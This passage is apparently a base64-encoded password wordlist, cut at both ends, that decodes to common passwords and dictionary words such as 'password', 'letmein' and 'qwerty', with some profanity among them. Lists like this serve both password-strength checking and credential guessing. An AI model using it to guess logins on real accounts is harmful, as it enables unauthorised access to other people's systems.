90b24NCnBocmFjaw0KcGhyYXNlDQpwaHJlYWsNCnBpZXJyZQ0KcGlubmFtZQ0KcGxheWJveQ0KcGxvdmVyDQpwbHltb3V0aA0KcG9ldHJ5DQpwb2xpY2UNCnBvbHlub21pDQpwb2x5bm9taWFsDQpwb25kZXJpbg0KcG9uZGVyaW5nDQpwb3JzY2hlDQpwb3N0ZXINCnByYWlzZQ0KcHJlY2lvdXMNCnByZWx1ZGUNCnByZXN0bw0KcHJpbmNlDQpwcmluY2V0bw0KcHJpbmNldG9uDQpwcmludGVyDQpwcml2YXRlDQpwcm9jZWVkDQpwcm9jZXNzbw0KcHJvZmVzc28NCnByb2Zlc3Nvcg0KcHJvZmlsZQ0KcHJvZ3JhbQ0KcHJvbXB0DQpwcm90ZWN0DQpwcm90b3pvYQ0KcHN5Y2hvDQpwc3ljaG9wYQ0KcHVibGljDQpwdW1wa2luDQpwdW5lZXQNCnB1bmlzaGVyDQpwdXBwZXQNCnF1ZWJlYw0KcXdlcnR5DQpyYWJiaXQNCnJhY2hlbA0KcmFjaGVsbGUNCnJhY2htYW5pDQpyYWNobWFuaW5vZmYNCnJhaW5ib3cNCnJhaW5kcm9wDQpyYWxlaWdoDQpyYW5kb20NCnJhc2NhbA0KcmVhZ2FuDQpyZWFsaXR5DQpyZWFsbHkNCnJlYXBlcg0KcmViZWNjYQ0KcmVjb3JkDQpyZWRkYXduDQpyZWRoZWFkDQpyZWZlcmVuYw0KcmVnaW9uYWwNCnJlbGVhc2UNCnJlbW90ZQ0KcmVwb3J0DQpyZXB1YmxpYw0KcmVzaXN0YW4NCnJldmVhbA0KcmlmZnJhZmYNCnJpZ2h0d2luDQpyaXBwbGUNCnJvYmVydA0Kcm9ib3RpY3MNCnJvY2hlbGxlDQpyb2NoZXN0ZQ0Kcm9jaGVzdGVyDQpyb2NreWhvcg0Kcm9kZW50DQpyb21hbm8NCnJvbXVsYW4NCnJvbmFsZA0Kcm9vdGVkDQpSb3Njb1ANClJvc2NvUENvbHRyYW5lDQpyb3NlYnVkDQpyb3NlbWFyeQ0KcnViYmVyDQpydW5uaW5nDQpzYWxhbWkNCnNhbWFudGhhDQpzYW1wbGUNCnNhbmRyYQ0Kc2F0YW5pYw0Kc2F0YW5paw0Kc2F0dXJkYXkNCnNhdHVybg0Kc2NhbXBlcg0Kc2NoZW1lDQpzY2hvb2wNCnNjaG9vbHN1Y2tzDQpzY29ycGlvbg0Kc2NvdHR5DQpzY3JpcHQNCnNjcmlwdGtpZGRpZQ0Kc2VhcmNoDQpzZWNyZXQNCnNlY3VyaXR5DQpzZW5zb3INCnNlbnRpbmVsDQpzZW50cnkNCnNlcmVuaXR5DQpzZXJpYWwNClNFUlZFUg0Kc2VydmVyDQpzZXJ2aWNlDQpzZXNhbWUNCnNoYW5ub24NCnNoYXJrcw0Kc2hhcm9uDQpzaGVmZmllbA0Kc2hlZmZpZWxkDQpzaGVsZG9uDQpzaGVycmkNCnNoaXJsZXkNCnNoaXRwb3QNCnNoaXZlcnMNCnNodXR0bGUNCnNpZW1lbnMNCnNpZXJyYQ0Kc2lnbmF0dXINCnNpZ25hdHVyZQ0Kc2lsdmVyDQpzaW1jaXR5DQpzaW1wbGUNCnNpbXBzb25zDQpzaW11bGF0aQ0Kc2luZ2VyDQpzaW5nbGUNCnNsaWRlcnMNCnNtaWxlcw0Kc21vb2NoDQpzbW90aGVyDQpzbmF0Y2gNCnNub29weQ0Kc29jaWFsDQpzb2NyYXRlcw0Kc29kb215DQpzb2Z0d2FyZQ0Kc29tZWJvZHkNCnNvbmRyYQ0Kc29zc2luYQ0Kc291cmNlDQpzcGFjZW1hbg0Kc3BhY2VzaGkNCnNwYXJyb3dzDQpzcGVuY2VyDQpzcGlkZXINCnNwaWRlcm1hDQpzcHJpbmcNCnNwcmluZ2VyDQpzcWxhZ2VudA0Kc3FscGFzcw0Kc3F1aXJlcw0Kc3RhY2V5DQpzdGFjaWUNClN0YW5kYXJkDQpzdGFyc2hpcA0Kc3RhcnRyZWsNCnN0YXJ0dXANCnN0YXJ3YXJzDQpzdGVwaGFuaQ0Kc3RlcGhhbmllDQpzdGVyZW8NCnN0b25lYWdlDQpzdG9uZWQNCnN0b25lcw0Kc3RyYW5nZQ0Kc3RyYW5nbGUNCnN0cmF0Zm9yDQpzdHJhdGZvcmQNCnN0cmVldGZpDQpzdHJpbmcNCnN0dWRlbnQNCnN0dWRlbnQxDQpzdHV0dGdhcg0Kc3R1dHRnYXJ0DQpzdWJzY3JpYg0Kc3Vid2F5DQpzdWNjZXNzDQpzdWNrbXlkaQ0Kc3VtbWVyDQpzdW5kYXkNCnN1cGVybWFuDQpzdXBlcnNvbg0Kc3VwZXJzdGENCnN1cGVyc3RhZ2UNCnN1cGVydXNlDQpzdXBlcnVzZXINCnN1cGVydmlzDQpzdXBwb3J0DQpzdXBwb3J0ZQ0Kc3VwcG9ydGVkDQpzdXJmZXINCnN1cmZpbmcNCnN1c2FubmUNCnN1emFubmUNCnN3ZWFyZXINCnN3aXRjaA0Kc3liYXNlDQpzeW1tZXRyeQ0Kc3lzYWRtaW4NClNZU1RFTQ0Kc3lzdGVtDQp0YWJhc2NvDQp0YW1hcmENCnRhbmdlcmluDQp0YW5nZXJpbmUNCnRhcmdldA0KdGFycmFnb24NCnRheWxvcg0KdGVhY2hlcg0KdGVhcG90DQp0ZWNobmljYWwNCnRlZW5hZ2UNCnRlbGVwaG9uDQp0ZWxlcGhvbmUNCnRlbG5ldA0KdGVtcDEyMw0KdGVtcHRhdGkNCnRlbXB0YXRpb24NCnRlbm5pcw0KdGVybWluYWwNCnRlcm1pbmF0DQp0ZXN0MTIzDQp0ZXN0ZXINCnRlc3Rpbg0KdGVzdGluZw0KdGV0cmlzDQp0aGFpbGFuZA0KdGhlcmVzYQ0KdGh1cnNkYXkNCnRpZmZhbnkNCnRvZ2dsZQ0KdG9rZW5yaW4NCnRvbWF0bw0KdG9wb2dyYXANCnRvcG9ncmFwaHkNCnRvcnRvaXNlDQp0b3lvdGENCnRyYWNpZQ0KdHJhaWxzDQp0cmFuc2Zlcg0KdHJhcGRvb3INCnRyaXNoYQ0KdHJpdmlhbA0KdHJvamFuDQp0cm9tYm9uZQ0KdHVlc2RheQ0KdHVybmlwDQp0dXR0bGUNCnVuaGFwcHkNCnVuaWNvcm4NCnVuaWZvcm0NCnVuaXZlcnNhDQp1bml2ZXJzZQ0KdW5pdmVyc2kNCnVua25vd24NClVua25vd24NCnVubG9jaw0KdXBsb2FkDQp1cmFudXMNCnVyY2hpbg0KdXJzdWxhDQp1c2VuZXQNCnVzZXJtYW5lDQp1c2VybmFtZQ0KdXNlcnBhc3N3b3JkDQp1dGlsaXR5DQp1d29udGd1ZXNzbWUNCnZhZ2luYQ0KdmFsZXJpZQ0KdmFtcGlyZQ0KdmFzYW50DQp2ZXJvbmljYQ0KdmVydGlnbw0KdmljdG9yDQp2aWRlb2dhbQ0KdmlsbGFnZQ0KdmlyZ2luDQp2aXJnaW5pYQ0KdmlzaXRvcg0KdmlzdWFsDQp2aXN1YWxiYQ0Kd2FyZmFyZQ0Kd2FyZ2FtZXMNCndhcnJlbg0Kd2F0Y2h3b3INCndlYnBhZ2UNCndlZG5lc2RhDQp3ZWVuaWUNCndlcmV3b2xmDQp3ZXN0ZXJuDQp3aGF0ZXZlcg0Kd2hhdG5vdA0Kd2hpc2t5DQp3aGl0aW5nDQp3aGl0bmV5DQp3aG9sZXNhbA0Kd2hvbGVzYWxlDQp3aWxlZWNveW90ZQ0Kd2lsbGlhbQ0Kd2lsbGlhbXMNCndpbGxpYW1zYnVyZw0Kd2lsbGllDQp3aW4yMDAwDQp3aW5kb3NlDQp3aW5kb3dzDQp3aW5kb3dzMmsNCndpbmRvd3M5NQ0Kd2luZG93czk4DQp3aW5kb3dzTUUNCldpbmRvd3NYUA0Kd2luZG93eg0Kd2luZG96ZQ0Kd2luZG96ZTJrDQp3aW5kb3plOTUNCndpbmRvemU5OA0Kd2luZG96ZU1FDQp3aW5kb3pleHANCndpbnBhc3MNCndpbnN0b24NCndpc2NvbnNpDQp3aXNjb25zaW4NCndpc2Vhc3MNCndpdGhpbg0Kd2l6YXJkDQp3b2x2ZXJpbg0Kd29tYmF0DQp3b29kd2luZA0Kd29yZHBlcmYNCndvcm13b29kDQp3d3dhZG1pbg0Kd3lvbWluZw0KeG1vZGVtDQp4eHh4eHgNCnh4eHh4eHgNCnh4eHh4eHh4DQp4eHh4eHh4eHgNCnlhbmtlZQ0KeWVsbG93DQp5ZWxsb3dzdA0KeWVsbG93c3RvbmUNCnlvbGFuZGENCnlvc2VtaXRlDQp5b3V3b250Z3Vlc3NtZQ0KemVpdGdlaXMNCnppbW1lcm1hDQp6aW1tZXJtYW4NCnptb2RlbQ0Kem9tYmllDQoxMjM0NQ0KYWJjMTIzDQpwYXNzd29yZA0KY29tcHV0ZXINCjEyMzQ1Ng0KdGlnZ2VyDQoxMjM0DQphMWIyYzMNCnF3ZXJ0eQ0KMTIzDQp4eHgNCm1vbmV5DQp0ZXN0DQpjYXJtZW4NCm1pY2tleQ0Kc2VjcmV0DQpzdW1tZXINCmludGVybmV0DQpzZXJ2aWNlDQpjYW5hZGENCmhlbGxvDQpyYW5nZXINCnNoYWRvdw0KYmFzZWJhbGwNCmRvbmFsZA0KaGFybGV5DQpob2NrZXkNCmxldG1laW4NCm1hZ2dpZQ0KbWlrZQ0KbXVzdGFuZw0Kc25vb3B5DQpidXN0ZXINCmRyYWdvbg0Kam9yZGFuDQptaWNoYWVsDQptaWNoZWxsZQ0KbWluZHkNCnBhdHJpY2sNCjEyM2FiYw0KYW5kcmV3DQpiZWFyDQpjYWx2aW4NCmNoYW5nZW1lDQpkaWFtb25kDQpmdWNrbWUNCmZ1Y2t5b3UNCm1hdHRoZXcNCm1pbGxlcg0Kb3U4MTINCnRpZ2VyDQp0cnVzdG5vMQ0KMTIzNDU2NzgNCmFsZXgNCmFwcGxlDQphdmFsb24NCmJyYW5keQ0KY2hlbHNlYQ0KY29mZmVlDQpkYXZlDQpmYWxjb24NCmZyZWVkb20NCmdhbmRhbGYNCmdvbGYNCmdyZWVuDQpoZWxwbWUNCmxpbmRhDQptYWdpYw0KbWVybGluDQptb2xzb24NCm5ld3lvcmsNCnNvY2Nlcg0KdGhvbWFzDQp3aXphcmQNCk1vbmRheQ0KYXNkZmdoDQpiYW5kaXQNCmJhdG1hbg0KYm9yaXMNCmJ1dHRoZWFkDQpkb3JvdGh5DQplZXlvcmUNCmZpc2hpbmcNCmZvb3RiYWxsDQpnZW9yZ2UNCmhhcHB5DQppbG92ZXlvdQ0KamVubmlmZXINCmpvbmF0aGFuDQpsb3ZlDQptYXJpbmENCm1hc3Rlcg0KbWlzc3kNCm1vbmRheQ0KbW9ua2V5DQpuYXRhc2hhDQpuY2MxNzAxDQpuZXdwYXNzDQpwYW1lbGENCnBlcHBlcg0KcGlnbGV0DQpwb29oYmVhcg0KcG9va2llDQpyYWJiaXQNCnJhY2hlbA0Kcm9ja2V0DQpyb3NlDQpzbWlsZQ0Kc3Bhcmt5DQpzcHJpbmcNCnN0ZXZlbg0Kc3VjY2Vzcw0Kc3Vuc2hpbmUNCnRoeDExMzgNCnZpY3RvcmlhDQp3aGF0ZXZlcg0KemFwYXRhDQoxDQo4Njc1MzA5DQpJbnRlcm5ldA0KYW1hbmRhDQphbmR5DQphbmdlbA0KYXVndXN0DQpiYXJuZXkNCmJpdGVtZQ0KYm9vbWVyDQpicmlhbg0KY2FzZXkNCmNva2UNCmNvd2JveQ0KZGVsdGENCmRvY3Rvcg0KZmlzaGVyDQpmb29iYXINCmlzbGFuZA0Kam9obg0Kam9zaHVhDQprYXJlbg0KbWFybGV5DQpvcmFuZ2UNCnBsZWFzZQ0KcmFzY2FsDQpyaWNoYXJkDQpzYXJhaA0Kc2Nvb3Rlcg0Kc2hhbG9tDQpzaWx2ZXINCnNraXBweQ0Kc3RhbmxleQ0KdGF5bG9yDQp3ZWxjb21lDQp6ZXBoeXINCjExMTExMQ0KMTkyOA0KYWFhYWFhDQphYmMNCmFjY2Vzcw0KYWxiZXJ0DQphbGV4YW5kZXINCmFuZHJlYQ0KYW5uYQ0KYW50aG9ueQ0KYXNkZmprbDsNCmFzaGxleQ0KYmFzZg0KYmFza2V0YmFsbA0KYmVhdmlzDQpibGFjaw0KYm9iDQpib29ib28NCmJyYWRsZXkNCmJyYW5kb24NCmJ1ZGR5DQpjYWl0bGluDQpjYW1hcm8NCmNoYXJsaWUNCmNoaWNrZW4NCmNocmlzDQpjaW5keQ0KY3JpY2tldA0KZGFrb3RhDQpkYWxsYXMNCmRhbmllbA0KZGF2aWQNCmRlYmJpZQ0KZG9scGhpbg0KZWxlcGhhbnQNCmVtaWx5DQpmaXNoDQpmcmVkDQpmcmllbmQNCmZ1Y2tlcg0KZ2luZ2VyDQpnb29kbHVjaw0KaGFtbWVyDQpoZWF0aGVyDQpoZWxwDQppY2VtYW4NCmphc29uDQpqZXNzaWNhDQpqZXN1cw0Kam9zZXBoDQpqdXBpdGVyDQpqdXN0aW4NCmtldmluDQprbmlnaHQNCmxhY3Jvc3NlDQpsYWtlcnMNCmxpemFyZA0KbWFkaXNvbg0KbWFyeQ0KbW90aGVyDQptdWZmaW4NCm11cnBoeQ0KbmNjMTcwMWQNCm5ld3VzZXINCm5pcnZhbmENCm5vbmUNCnBhcmlzDQpwYXQNCnBlbnRpdW0NCnBob2VuaXgNCnBpY3R1cmUNCnJhaW5ib3cNCnNhbmR5DQpzYXR1cm4NCnNjb3R0DQpzaGFubm9uDQpzaGl0aGVhZA0Kc2tlZXRlcg0Kc29waGllDQpzcGVjaWFsDQpzdGVwaGFuaWUNCnN0ZXBoZW4NCnN0ZXZlDQpzd2VldGllDQp0ZWFjaGVyDQp0ZW5uaXMNCnRlc3QxMjMNCnRvbW15DQp0b3BndW4NCnRyaXN0YW4NCndhbGx5DQp3aWxsaWFtDQp3aWxzb24NCjFxMnczZQ0KNjU0MzIxDQo2NjY2NjYNCjc3Nw0KYTEyMzQ1DQphMWIyYzNkNA0KYWxwaGENCmFtYmVyDQphbmdlbGENCmFuZ2llDQphcmNoaWUNCmFzZGYNCmJsYXplcg0KYm9uZDAwNw0KYm9vZ2VyDQpjaGFybGVzDQpjaHJpc3Rpbg0KY2xhaXJlDQpjb250cm9sDQpkYW5ueQ0KZGF2aWQxDQpkZW5uaXMNCmRpZ2l0YWwNCmRpc25leQ0KZG9nDQpkdWNrDQpkdWtlDQplZHdhcmQNCmVsdmlzDQpmZWxpeA0KZmxpcHBlcg0KZmxveWQNCmZyYW5rbGluDQpmcm9kbw0KZ3Vlc3QNCmhvbmRhDQpob3JzZXMNCmh1bnRlcg0KaW5kaWdvDQppbmZvDQpqYW1lcw0KamFzcGVyDQpqZXJlbXkNCmpvZQ0KanVsaWFuDQprZWxzZXkNCmtpbGxlcg0Ka2luZ2Zpc2gNCmxhdXJlbg0KbWFyaWUNCm1hcnlqYW5lDQptYXRyaXgNCm1hdmVyaWNrDQptYXlkYXkNCm1lcmN1cnkNCm1pY3JvDQptaXRjaGVsbA0KbW9yZ2FuDQptb3VudGFpbg0KbmluZXJzDQpub3RoaW5nDQpvbGl2ZXINCnBlYWNlDQpwZWFudXQNCnBlYXJsamFtDQpwaGFudG9tDQpwb3Bjb3JuDQpwcmluY2Vzcw0KcHN5Y2hvDQpwdW1wa2luDQpwdXJwbGUNCnJhbmR5DQpyZWJlY2NhDQpyZWRkb2cNCnJvYmVydA0Kcm9ja3kNCnJvc2VzDQpzYWxtb24NCnNhbQ0Kc2Ftc29uDQpzaGFyb24NCnNpZXJyYQ0Kc21va2V5DQpzdGFydHJlaw0Kc3RlZWxlcnMNCnN0aW1weQ0Kc3VuZmxvd2VyDQpzdXBlcm1hbg0Kc3VwcG9ydA0Kc3lkbmV5DQp0ZWNobm8NCnRlbGVjb20NCnRlc3QxDQp3YWx0ZXINCndpbGxpZQ0Kd2lsbG93DQp3aW5uZXINCnppZ2d5DQp6eGN2Ym5tDQo3Nzc3DQpPVTgxMg0KYQ0KYWJzb2x1dA0KYWxhc2thDQphbGV4aXMNCmFsaWNlDQphbmltYWwNCmFwcGxlcw0KYmFieWxvbjUNCmJhY2t1cA0KYmFyYmFyYQ0KYmVuamFtaW4NCmJpbGwNCmJpbGx5DQpiaXJkMzMNCmJsdWUNCmJsdWViaXJkDQpib2JieQ0KYm9ubmllDQpidWJiYQ0KY2FtZXJhDQpjaG9jb2xhdGUNCmNsYXJrDQpjbGF1ZGlhDQpjb2NhY29sYQ0KY29tcHRvbg0KY29ubmVjdA0KY29va2llDQpjcnVpc2UNCmRlbGl2ZXINCmRvdWdsYXMNCmRyZWFtZXINCmRyZWFtcw0KZHVja2llDQplYWdsZXMNCmVkZGllDQplaW5zdGVpbg0KZW50ZXINCmV4cGxvcmVyDQpmYWl0aA0KZmFtaWx5DQpmZXJyYXJpDQpmaXJlDQpmbGFtaW5nbw0KZmxpcA0KZmxvd2VyDQpmb3h0cm90DQpmcmFuY2lzDQpmcmVkZHkNCmZyaWRheQ0KZnJvZ2d5DQpnYWxpbGVvDQpnaWFudHMNCmdpem1vDQpnbG9iYWwNCmdvb2Z5DQpnb3BoZXINCmhhbnNvbG8NCmhhcHB5MQ0KaGVuZHJpeA0KaGVucnkNCmhlcm1hbg0KaG9tZXINCmhvbmV5DQpob3VzZQ0KaG91c3Rvbg0KaWd1YW5hDQppbmRpYW5hDQppbnNhbmUNCmluc2lkZQ0KaXJpc2gNCmlyb25tYW4NCmpha2UNCmphbmUNCmphc21pbg0KamVhbm5lDQpqZXJyeQ0KamltDQpqb2V5DQpqdXN0aWNlDQprYXRoZXJpbmUNCmtlcm1pdA0Ka2l0dHkNCmtvYWxhDQpsYXJyeQ0KbGVzbGllDQpsb2dhbg0KbHVja3kNCm1hcmsNCm1hcnRpbg0KbWF0dA0KbWlubmllDQptaXN0eQ0KbWl0Y2gNCm1vbQ0KbW91c2UNCm5hbmN5DQpuYXNjYXINCm5lbHNvbg0KbmV0d2FyZQ0KcGFudGVyYQ0KcGFya2VyDQpwYXNzd2QNCnBlbmd1aW4NCnBldGVyDQpwaGlsDQpwaGlzaA0KcGlhbm8NCnBpenphDQpwb3JzY2hlOTExDQpwcmluY2UNCnB1bmtpbg0KcHlyYW1pZA0KcmFpbg0KcmF5bW9uZA0KcmVkDQpyb2Jpbg0Kcm9nZXINCnJvc2VidWQNCnJvdXRlNjYNCnJveWFsDQpydW5uaW5nDQpzYWRpZQ0Kc2FzaGENCnNlY3VyaXR5DQpzZXJnZWkNCnNoZWVuYQ0Kc2hlaWxhDQpza2lpbmcNCnNuYXBwbGUNCnNub3diYWxsDQpzcGFycm93DQpzcGVuY2VyDQpzcGlrZQ0Kc3Rhcg0Kc3RlYWx0aA0Kc3R1ZGVudA0Kc3VuDQpzdW5ueQ0Kc3lsdmlhDQp0YW1hcmENCnRhdXJ1cw0KdGVjaA0KdGVyZXNhDQp0aGVyZXNhDQp0aHVuZGVyYmlyZA0KdGlnZXJzDQp0b255DQp0b3lvdGENCnRyYWluaW5nDQp0cmF2ZWwNCnRydWNrDQp0dWVzZGF5DQp2aWN0b3J5DQp2aWRlbw0KdmlwZXIxDQp2b2x2bw0Kd2VzbGV5DQp3aGlza3kNCndpbm5pZQ0Kd2ludGVyDQp3b2x2ZXMNCnh5ejEyMw0Kem9ycm8NCiFAIyQlDQowMDcNCjEyMzEyMw0KMTIzNDU2Nw0KMTk2OQ0KNTY4Mw0KNjk2OTY5DQo4ODg4ODgNCkFudGhvbnkNCkJvbmQwMDcNCkZyaWRheQ0KSGVuZHJpeA0KSm9zaHVhDQpNYXR0aGV3DQpPY3RvYmVyDQpUYXVydXMNClRpZ2dlcg0KYWFhDQphYXJvbg0KYWJieQ0KYWJjZGVmDQphZGlkYXMNCmFkcmlhbg0KYWxleGFuZHINCmFsZnJlZA0KYXJ0aHVyDQphdGhlbmENCmF1c3Rpbg0KYXdlc29tZQ0KYmFkZ2VyDQpiYW1ib28NCmJlYWdsZQ0KYmVhcnMNCmJlYXRsZXMNCmJlYXV0aWZ1bA0KYmVhdmVyDQpiZW5ueQ0KYmlnbWFjDQpiaW5nbw0KYml0Y2gNCmJsb25kZQ0KYm9vZ2llDQpib3N0b24NCmJyZW5kYQ0KYnJpZ2h0DQpidWJiYTENCmJ1YmJsZXMNCmJ1ZmZ5DQpidXR0b24NCmJ1dHRvbnMNCmNhY3R1cw0KY2FuZHkNCmNhcHRhaW4NCmNhcmxvcw0KY2Fyb2xpbmUNCmNhcnJpZQ0KY2FzcGVyDQpjYXRhbG9nDQpjYXRjaDIyDQpjaGFsbGVuZ2UNCmNoYW5jZQ0KY2hhcml0eQ0KY2hhcmxvdHRlDQpjaGVlc2UNCmNoZXJ5bA0KY2hsb2UNCmNocmlzMQ0KY2xhbmN5DQpjbGlwcGVyDQpjb2x0cmFuZQ0KY29tcGFxDQpjb25yYWQNCmNvb3Blcg0KY29vdGVyDQpjb3BwZXINCmNvc21vcw0KY291Z2FyDQpjcmFja2VyDQpjcmF3Zm9yZA0KY3J5c3RhbA0KY3VydGlzDQpjeWNsb25lDQpjeXJhbm8NCmRhbg0KZGFuY2UNCmRhd24NCmRlYW4NCmRldXRzY2gNCmRpYWJsbw0KZGlsYmVydA0KZG9sbGFycw0KZG9va2llDQpkb29tDQpkdW1iYXNzDQpkdW5kZWUNCmUtbWFpbA0KZWxpemFiZXRoDQplcmljDQpldXJvcGUNCmV4cG9ydA0KZmFybWVyDQpmaXJlYmlyZA0KZmxldGNoZXINCmZsdWZmeQ0KZm9yZA0KZm91bnRhaW4NCmZveA0KZnJhbmNlDQpmcmVhazENCmZyaWVuZHMNCmZyb2cNCmZ1Y2tvZmYNCmdhYnJpZWwNCmdhYnJpZWxsDQpnYWxheHkNCmdhbWJpdA0KZ2FyZGVuDQpnYXJmaWVsZA0KZ2FybGljDQpnYXJuZXQNCmdlbmVzaXMNCmdlbml1cw0KZ29kemlsbGENCmdvZm9yaXQNCmdvbGZlcg0KZ29vYmVyDQpncmFjZQ0KZ3JhdGVmdWwNCmdyZWVuZGF5DQpncm9vdnkNCmdyb3Zlcg0KZ3VpdGFyDQpoYWNrZXINCmhhcnJ5DQpoYXplbA0KaGVjdG9yDQpoZXJiZXJ0DQpob29wcw0KaG9yaXpvbg0KaG9ybmV0DQpob3dhcmQNCmljZWNyZWFtDQppbWFnaW5lDQppbXBhbGENCmluZm9ybWl4DQpqYWNrDQpqYW5pY2UNCmphc21pbmUNCmphc29uMQ0KamVhbmV0dGUNCmplZmZyZXkNCmplbmlmZXINCmplbm5pDQpqZXN1czENCmpld2Vscw0Kam9rZXINCmp1bGllDQpqdWxpZTENCmp1bmlvcg0KanVzdGluMQ0Ka2F0aGxlZW4NCmtlaXRoDQprZWxseQ0Ka2VsbHkxDQprZW5uZWR5DQprZXZpbjENCmtuaWNrcw0KbGFkeQ0KbGFycnkxDQpsZWR6ZXANCmxlZQ0KbGVvbmFyZA0KbGVzdGF0DQpsaWJyYXJ5DQpsaW5jb2xuDQpsaW9ua2luZw0KbG9uZG9uDQpsb3Vpc2UNCmx1Y2t5MQ0KbHVjeQ0KbWFkZG9nDQptYWlsbWFuDQptYWpvcmRvbW8NCm1hbnRyYQ0KbWFyZ2FyZXQNCm1hcmlwb3NhDQptYXJrZXQNCm1hcmxib3JvDQptYXJ0aW4xDQptYXJ0eQ0KbWFzdGVyMQ0KbWF6ZGExDQptZW5zdWNrDQptZXJjZWRlcw0KbWV0YWwNCm1ldGFsbGljDQptaWRvcmkNCm1pa2V5DQptaWxsaWUNCm1pcmFnZQ0KbW1tDQptb2xseQ0KbW9uZXQNCm1vbmV5MQ0KbW9uaWNhDQptb25vcG9seQ0KbW9va2llDQptb29zZQ0KbW9yb25pDQptdXNpYw0KbmFvbWkNCm5hdGhhbg0KbmNjMTcwMWUNCm5lc2JpdHQNCm5ld3MNCm5ndXllbg0KbmljaG9sYXMNCm5pY29sZQ0Kbmltcm9kDQpvY3RvYmVyDQpvbGl2ZQ0Kb2xpdmlhDQpvbmUNCm9ubGluZQ0Kb3Blbg0Kb3NjYXINCm94Zm9yZA0KcGFjaWZpYw0KcGFpbnRlcg0KcGVhY2hlcw0KcGVuZWxvcGUNCnBlcHNpDQpwZXRlDQpwZXR1bmlhDQpwaGlsaXANCnBob2VuaXgxDQpwaG90bw0KcGlja2xlDQpwbGF5ZXINCnBvaXV5dA0KcG9yc2NoZQ0KcG9ydGVyDQpwcHANCnB1cHB5DQpweXRob24NCnF1YWxpdHkNCnF1ZXN0DQpyYXF1ZWwNCnJhdmVuDQpyZW1lbWJlcg0KcmVwdWJsaWMNCnJlc2VhcmNoDQpyb2JiaWUNCnJvYmVydDENCnJvbWFuDQpydWdieQ0KcnVubmVyDQpydXNzZWxsDQpyeWFuDQpzYWlsaW5nDQpzYWlsb3INCnNhbWFudGhhDQpzYXZhZ2UNCnNiZGMNCnNjYXJsZXR0DQpzY2hvb2wNCnNlYW4NCnNldmVuDQpzaGFkb3cxDQpzaGViYQ0Kc2hlbGJ5DQpzaGl0DQpzaG9lcw0Kc2ltYmENCnNpbXBsZQ0Kc2tpcHBlcg0Kc21pbGV5DQpzbmFrZQ0Kc25pY2tlcnMNCnNuaXBlcg0Kc25vb3Bkb2cNCnNub3dtYW4NCnNvbmljDQpzcGl0ZmlyZQ0Kc3ByaXRlDQpzcHVua3kNCnN0YXJ3YXJzDQpzdGF0aW9uDQpzdGVsbGENCnN0aW5ncmF5DQpzdG9ybQ0Kc3Rvcm15DQpzdHVwaWQNCnN1bXVpbmVuDQpzdW5ueTENCnN1bnJpc2UNCnN1cHJhDQpzdXJmZXINCnN1c2FuDQp0YW1teQ0KdGFuZ28NCnRhbnlhDQp0YXJhDQp0ZWRkeTENCnRlbXANCnRlc3RpbmcNCnRoZWJvc3MNCnRoZWtpbmcNCnRodW1wZXINCnRpbmENCnRpbnRpbg0KdG9tY2F0DQp0cmVib3INCnRyZWsNCnRyZXZvcg0KdHdlZXR5DQp1bmljb3JuDQp2YWxlbnRpbmUNCnZhbGVyaWUNCnZhbmlsbGENCnZlcm9uaWNhDQp2aWN0b3INCnZpbmNlbnQNCnZpcGVyDQp3YXJyaW9yDQp3YXJyaW9ycw0Kd2Vhc2VsDQp3aGVlbHMNCndpbGJ1cg0Kd2luc3Rvbg0Kd2lzZG9tDQp3b21iYXQNCnhhbmFkdQ0KeGF2aWVyDQp4eHh4DQp5ZWxsb3cNCnphcGhvZA0KemVwcGVsaW4NCnpldXMNCiFAIyQlXg0KIUAjJCVeJioNCioNCjAwMDcNCjEwMjINCjEwc25lMQ0KMTExMQ0KMTIxMg0KMTkxMQ0KMTk0OA0KMTk3Mw0KMTk3OA0KMTk5Ng0KMXAybzNpDQoyMDAwDQoyMjIyDQozYmVhcnMNCjUyNTINCkFuZHJldw0KQnJvYWR3YXkNCkNoYW1wcw0KRmFtaWx5DQpGaXNoZXINCkZyaWVuZHMNCkplYW5uZQ0KS2lsbGVyDQpLbmlnaHQNCk1hc3Rlcg0KTWljaGFlbA0KTWljaGVsbGUNClBlbnRpdW0NClBlcHBlcg0KUmFpc3RsaW4NClNpZXJyYQ0KU25vb3B5DQpUZW5uaXMNClR1ZXNkYXkNCmFiYWNhYg0KYWJjZA0KYWJjZDEyMzQNCmFiY2RlZmcNCmFiaWdhaWwNCmFjY291bnQNCmFjZQ0KYWNyb3BvbGlzDQphZGFtDQphZGkNCmFsZXgxDQphbGljZTENCmFsbGlzb24NCmFscGluZQ0KYW15DQphbmRlcnMNCmFuZHJlMQ0KYW5kcmVhMQ0KYW5nZWwxDQphbml0YQ0KYW5uZXR0ZQ0KYW50YXJlcw0KYXBhY2hlDQphcG9sbG8NCmFyYWdvcm4NCmFyaXpvbmENCmFybm9sZA0KYXJzZW5hbA0KYXNkZmFzZGYNCmFzZGZnDQphc2RmZ2hqaw0KYXZlbmdlcg0KYXZlbmlyDQpiYWJ5DQpiYWJ5ZG9sbA0KYmFjaA0KYmFpbGV5DQpiYW5hbmENCmJhcnJ5DQpiYXNpbA0KYmFza2V0DQpiYXNzDQpiYXRtYW4xDQpiZWFuZXINCmJlYXN0DQpiZWF0cmljZQ0KYmVlcg0KYmVsbGENCmJlbg0KYmVydGhhDQpiaWdiZW4NCmJpZ2RvZw0KYmlnZ2xlcw0KYmlnbWFuDQpiaW5reQ0KYmlvbG9neQ0KYmlzaG9wDQpibGlzcw0KYmxvbmRpZQ0KYmxvd2Zpc2gNCmJsdWVmaXNoDQpibXcNCmJvYmNhdA0KYm9zY28NCmJvc3MNCmJyYXZlcw0KYnJhemlsDQpicmlkZ2VzDQpicnVjZQ0KYnJ1bm8NCmJydXR1cw0KYnVjaw0KYnVmZmFsbw0KYnVnc3kNCmJ1bGwNCmJ1bGxkb2cNCmJ1bGxldA0KYnVsbHNoaXQNCmJ1bm55DQpidXNpbmVzcw0KYnV0Y2gNCmJ1dGxlcg0KYnV0dGVyDQpjYWxpZm9ybmlhDQpjYW5ub25kYWxlDQpjYW5vbg0KY2FyZWJlYXINCmNhcm9sDQpjYXJvbDENCmNhcm9sZQ0KY2Fzc2llDQpjYXN0bGUNCmNhdGFsaW5hDQpjYXRoZXJpbmUNCmNhdG5pcA0KY2NjY2NjDQpjZWxpbmUNCmNlbnRlcg0KY2hhbXBpb24NCmNoYW5lbA0KY2hhb3MNCmNoZWxzZWExDQpjaGVzdGVyMQ0KY2hpY2Fnbw0KY2hpY28NCmNoaXANCmNocmlzdGlhbg0KY2hyaXN0eQ0KY2h1cmNoDQpjaW5kZXINCmNpdmlsDQpjb2xsZWVuDQpjb2xvcmFkbw0KY29sdW1i